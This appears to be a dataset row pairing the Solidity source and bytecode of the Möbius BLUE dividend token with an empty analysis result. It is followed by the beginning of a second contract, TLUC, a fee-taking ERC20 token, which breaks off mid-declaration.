function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MobiusBlueToken is MintableToken {
using SafeMath for uint;
address creator = msg.sender;
uint8 public decimals = 18;
string public name = "Möbius BLUE";
string public symbol = "BLU";
uint public totalDividends;
uint public lastRevenueBnum;
uint public unclaimedDividends;
struct DividendAccount {
uint balance;
uint lastCumulativeDividends;
uint lastWithdrawnBnum;
}
mapping (address => DividendAccount) public dividendAccounts;
modifier onlyTokenHolders{
require(balances[msg.sender] > 0, "Not a token owner!");
_;
}
modifier updateAccount(address _of) {
_updateDividends(_of);
_;
}
event DividendsWithdrawn(address indexed from, uint value);
event DividendsTransferred(address indexed from, address indexed to, uint value);
event DividendsDisbursed(uint value);
function mint(address _to, uint256 _amount) public
returns (bool)
{
// devs get 33.3% of all tokens. Much of this will be used for bounties and community incentives
super.mint(creator, _amount/2);
// When an investor gets 2 tokens, devs get 1
return super.mint(_to, _amount);
}
function transfer(address _to, uint _value) public returns (bool success) {
_transferDividends(msg.sender, _to, _value);
require(super.transfer(_to, _value), "Failed to transfer tokens!");
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
_transferDividends(_from, _to, _value);
require(super.transferFrom(_from, _to, _value), "Failed to transfer tokens!");
return true;
}
// Devs can move tokens without dividends during the ICO for bounty purposes
function donate(address _to, uint _value) public returns (bool success) {
require(msg.sender == creator, "You can't do that!");
require(!mintingFinished, "ICO Period is over - use a normal transfer.");
return super.transfer(_to, _value);
}
function withdrawDividends() public onlyTokenHolders {
uint amount = _getDividendsBalance(msg.sender);
require(amount > 0, "Nothing to withdraw!");
unclaimedDividends = unclaimedDividends.sub(amount);
dividendAccounts[msg.sender].balance = 0;
dividendAccounts[msg.sender].lastWithdrawnBnum = block.number;
msg.sender.transfer(amount);
emit DividendsWithdrawn(msg.sender, amount);
}
function dividendsAvailable(address _for) public view returns(bool) {
return lastRevenueBnum >= dividendAccounts[_for].lastWithdrawnBnum;
}
function getDividendsBalance(address _of) external view returns(uint) {
uint outstanding = _dividendsOutstanding(_of);
if (outstanding > 0) {
return dividendAccounts[_of].balance.add(outstanding);
}
return dividendAccounts[_of].balance;
}
function disburseDividends() public payable {
if(msg.value == 0) {
return;
}
totalDividends = totalDividends.add(msg.value);
unclaimedDividends = unclaimedDividends.add(msg.value);
lastRevenueBnum = block.number;
emit DividendsDisbursed(msg.value);
}
function () public payable {
disburseDividends();
}
function _transferDividends(address _from, address _to, uint _tokensValue) internal
updateAccount(_from)
updateAccount(_to)
{
uint amount = dividendAccounts[_from].balance.mul(_tokensValue).div(balances[_from]);
if(amount > 0) {
dividendAccounts[_from].balance = dividendAccounts[_from].balance.sub(amount);
dividendAccounts[_to].balance = dividendAccounts[_to].balance.add(amount);
dividendAccounts[_to].lastWithdrawnBnum = dividendAccounts[_from].lastWithdrawnBnum;
emit DividendsTransferred(_from, _to, amount);
}
}
function _getDividendsBalance(address _holder) internal
updateAccount(_holder)
returns(uint)
{
return dividendAccounts[_holder].balance;
}
function _updateDividends(address _holder) internal {
require(mintingFinished, "Can't calculate balances if still minting tokens!");
uint outstanding = _dividendsOutstanding(_holder);
if (outstanding > 0) {
dividendAccounts[_holder].balance = dividendAccounts[_holder].balance.add(outstanding);
}
dividendAccounts[_holder].lastCumulativeDividends = totalDividends;
}
function _dividendsOutstanding(address _holder) internal view returns(uint) {
uint newDividends = totalDividends.sub(dividendAccounts[_holder].lastCumulativeDividends);
if(newDividends == 0) {
return 0;
} else {
return newDividends.mul(balances[_holder]).div(totalSupply_);
}
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
|
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461015d57806306fdde0314610186578063095ea7b31461021057806318160ddd1461023457806323b872dd1461025b5780632e92abdd14610285578063313ce5671461029a57806336ef1abb146101535780633cb802b9146102c557806340c10f19146102da578063427539c9146102fe57806351ee387d14610313578063661884631461033457806370a0823114610358578063715018a6146103795780637d64bcb41461038e5780638da5cb5b146103a357806395d89b41146103d4578063997664d7146103e9578063a9059cbb146103fe578063d73dd62314610422578063dca919de14610446578063dd62ed3e14610485578063e69d849d146104ac578063f2fde38b146104d0578063f88351d9146104f1575b61015b610512565b005b34801561016957600080fd5b50610172610584565b604080519115158252519081900360200190f35b34801561019257600080fd5b5061019b610594565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021c57600080fd5b50610172600160a060020a0360043516602435610622565b34801561024057600080fd5b50610249610688565b60408051918252519081900360200190f35b34801561026757600080fd5b50610172600160a060020a036004358116906024351660443561068e565b34801561029157600080fd5b5061015b610706565b3480156102a657600080fd5b506102af610861565b6040805160ff9092168252519081900360200190f35b3480156102d157600080fd5b50610249610871565b3480156102e657600080fd5b50610172600160a060020a0360043516602435610877565b34801561030a57600080fd5b506102496108a5565b34801561031f57600080fd5b50610172600160a060020a03600435166108ab565b34801561034057600080fd5b50610172600160a060020a03600435166024356108ce565b34801561036457600080fd5b50610249600160a060020a03600435166109bf565b34801561038557600080fd5b5061015b6109da565b34801561039a57600080fd5b50610172610a48565b3480156103af57600080fd5b506103b8610acc565b60408051600160a060020a039092168252519081900360200190f35b3480156103e057600080fd5b5061019b610adb565b3480156103f557600080fd5b50610249610b36565b34801561040a57600080fd5b50610172600160a060020a0360043516602435610b3c565b34801561042e57600080fd5b50610172600160a060020a0360043516602435610bb2565b34801561045257600080fd5b50610467600160a060020a0360043516610c4b565b60408051938452602084019290925282820152519081900360600190f35b34801561049157600080fd5b50610249600160a060020a0360043581169060243516610c6c565b3480156104b857600080fd5b50610172600160a060020a0360043516602435610c97565b3480156104dc57600080fd5b5061015b600160a060020a0360043516610d8e565b3480156104fd57600080fd5b50610249600160a060020a0360043516610db1565b34151561051e57610582565b600754610531903463ffffffff610e1a16565b600755600954610547903463ffffffff610e1a16565b600955436008556040805134815290517f23a65426dca7f39133773f3c2b30ae8531465535690013b0be73ee3bd33fb8b39181900360200190a15b565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561061a5780601f106105ef5761010080835404028352916020019161061a565b820191906000526020600020905b8154815290600101906020018083116105fd57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600061069b848484610e2c565b6106a6848484610f66565b15156106fc576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207472616e7366657220746f6b656e7321000000000000604482015290519081900360640190fd5b5060019392505050565b33600090815260208190526040812054811061076c576040805160e560020a62461bcd02815260206004820152601260248201527f4e6f74206120746f6b656e206f776e6572210000000000000000000000000000604482015290519081900360640190fd5b610775336110db565b9050600081116107cf576040805160e560020a62461bcd02815260206004820152601460248201527f4e6f7468696e6720746f20776974686472617721000000000000000000000000604482015290519081900360640190fd5b6009546107e2908263ffffffff6110e716565b600955336000818152600a6020526040808220828155436002909101555183156108fc0291849190818181858888f19350505050158015610827573d6000803e3d6000fd5b5060408051828152905133917f08d688a92fc311df9b853769e8a99b320411042a86f106fd29e7f21ee06e79da919081900360200190a250565b60045460a060020a900460ff1681565b60095481565b60045460009061089390600160a060020a0316600284046110fe565b5061089e83836110fe565b9392505050565b60085481565b600160a060020a03166000908152600a6020526040902060020154600854101590565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061092257336000908152600160209081526040808320600160a060020a0388168452909152812055610957565b610932818463ffffffff6110e716565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146109f157600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610a6257600080fd5b60035460a060020a900460ff1615610a7957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561061a5780601f106105ef5761010080835404028352916020019161061a565b60075481565b6000610b49338484610e2c565b610b538383611208565b1515610ba9576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207472616e7366657220746f6b656e7321000000000000604482015290519081900360640190fd5b50600192915050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610be6908363ffffffff610e1a16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600a6020526000908152604090208054600182015460029092015490919083565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600454600090600160a060020a03163314610cfc576040805160e560020a62461bcd02815260206004820152601260248201527f596f752063616e277420646f2074686174210000000000000000000000000000604482015290519081900360640190fd5b60035460a060020a900460ff1615610d84576040805160e560020a62461bcd02815260206004820152602b60248201527f49434f20506572696f64206973206f766572202d207573652061206e6f726d6160448201527f6c207472616e736665722e000000000000000000000000000000000000000000606482015290519081900360840190fd5b61089e8383611208565b600354600160a060020a03163314610da557600080fd5b610dae816112e7565b50565b600080610dbd83611365565b90506000811115610df857600160a060020a0383166000908152600a6020526040902054610df1908263ffffffff610e1a16565b9150610e14565b600160a060020a0383166000908152600a602052604090205491505b50919050565b60008282018381101561089e57600080fd5b600083610e38816113da565b83610e42816113da565b600160a060020a03861660009081526020818152604080832054600a90925290912054610e869190610e7a908763ffffffff6114e016565b9063ffffffff61150e16565b92506000831115610f5e57600160a060020a0386166000908152600a6020526040902054610eba908463ffffffff6110e716565b600160a060020a038088166000908152600a60205260408082209390935590871681522054610eef908463ffffffff610e1a16565b600160a060020a038087166000818152600a60209081526040808320958655938b168083528483206002908101549385905290950191909155825187815292519193927ff99e1703995723f297efb71e45f6c282b4ff86d1f3ef67da774949dd2ad7e3ac929081900390910190a35b505050505050565b600160a060020a038316600090815260208190526040812054821115610f8b57600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610fbb57600080fd5b600160a060020a0383161515610fd057600080fd5b600160a060020a038416600090815260208190526040902054610ff9908363ffffffff6110e716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461102e908363ffffffff610e1a16565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054611070908363ffffffff6110e716565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600081610df8816113da565b600080838311156110f757600080fd5b5050900390565b600354600090600160a060020a0316331461111857600080fd5b60035460a060020a900460ff161561112f57600080fd5b600254611142908363ffffffff610e1a16565b600255600160a060020a03831660009081526020819052604090205461116e908363ffffffff610e1a16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b3360009081526020819052604081205482111561122457600080fd5b600160a060020a038316151561123957600080fd5b33600090815260208190526040902054611259908363ffffffff6110e716565b3360009081526020819052604080822092909255600160a060020a0385168152205461128b908363ffffffff610e1a16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03811615156112fc57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0381166000908152600a60205260408120600101546007548291611396919063ffffffff6110e716565b90508015156113a85760009150610e14565b600254600160a060020a038416600090815260208190526040902054610df19190610e7a90849063ffffffff6114e016565b60035460009060a060020a900460ff161515611466576040805160e560020a62461bcd02815260206004820152603160248201527f43616e27742063616c63756c6174652062616c616e636573206966207374696c60448201527f6c206d696e74696e6720746f6b656e7321000000000000000000000000000000606482015290519081900360840190fd5b61146f82611365565b905060008111156114bd57600160a060020a0382166000908152600a60205260409020546114a3908263ffffffff610e1a16565b600160a060020a0383166000908152600a60205260409020555b50600754600160a060020a039091166000908152600a6020526040902060010155565b6000808315156114f357600091506109b8565b5082820282848281151561150357fe5b041461089e57600080fd5b60008080831161151d57600080fd5b828481151561152857fe5b049493505050505600a165627a7a72305820595ffe1254b1ba3fa04af4acaa8d98b6472c5160e5defe0bc18396ddc094d7d10029
|
{"success": true, "error": null, "results": {}}
| 3,973 |
0x1279df8B9DF9242feb69ea06a1786B974f34931c
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// SPDX-License-Identifier: UNLICENSED
/**
https://t.me/TLUCPortal
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠯⠭⠕⠉⠁⠀⠀⠈⠁⠒⠨⢍⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠪⢝⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠟⠑⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣏⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⠀⠀⠀⠀⠀⣀⠠⠤⢄⣀⣀⣀⡀⠀⠀⠀⠀⠀⢀⣀⣤⣤⠤⢄⣀⠀⠀⠀⠀⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⢀⠈⠉⠀⠀⠀⠀⠀⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢽⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⡀⠀⠀⠀⠀⠀⢠⠀⠀⢀⣤⣤⣤⣤⡀⠀⠀⠀⠀⠨⢿⠿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠐⢿⣿⡿⠿⠛⠓⠀⠀⠀⠀⢸⠀⠐⠛⠻⠿⣿⠿⡛⠀⠀⠀⠀⠘⢹⢀⠏⢹⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⢻⣿⡁⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠠⡞⠣⠊⣸⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣧⠠⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠀⠀⢀⠀⢴⠀⠀⠀⠀⠀⢸⠟⣠⣾⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⢷⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠈⢠⡀⠀⠀⠀⠀⠀⠸⠙⡟⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣾⠧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢣⡀⠤⢀⠀⣀⠤⢀⡜⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⡔⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠐⠀⠀⢰⢁⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⡰⠂⠈⠀⠈⠀⠠⠀⡠⠊⠀⠀⠀⠀⠀⢀⣜⡀⠀⠀⠀⠀⠀⠀⠀⠤⠂⠀⠀⠀⣀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠆⠘⠀⠀⡀⠀⢠⠁⠀⠀⢠⣠⣤⣴⣾⣿⣿⣶⣤⣤⣤⡀⠀⠀⠀⠀⠐⠀⢈⢡⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢶⡡⠊⡀⠀⠀⠁⠀⣀⠠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠐⠤⠄⢀⢀⠀⠱⣱⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣧⠤⠃⠀⡀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠜⠀⡰⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠐⠀⡔⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠂⠀⠂⠠⠐⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠂⠇⠀⠀⡀⠀⠀⠀⠀⠄⠀⢠⡀⠀⠀⠀⡇⢰⠀⡆⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢂⠀⠂⠀⠀⡇⠀⡇⠑⢄⠈⠂⠀⢆⠀⠀⢸⠀⡁⠀⢡⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣅⠀⠠⠆⠘⠀⠈⠂⠀⠀⠀⠀⠀⠑⠄⢜⠄⡀⠀⣜⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡀⠀⠊⢀⠠⠀⠀⠀⠀⠀⠀⠀⠨⠀⣀⣡⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣄⠸⠀⠀⣴⢟⣽⣄⠀⢀⣦⣞⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣼⣷⣦⣴⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TLUC is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TLUC";
string private constant _symbol = "TLUC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 13;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xAaa8DFC6BB896B75BFC3b37A4cE00a1997Ec5820);
address payable private _marketingAddress = payable(0xAaa8DFC6BB896B75BFC3b37A4cE00a1997Ec5820);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
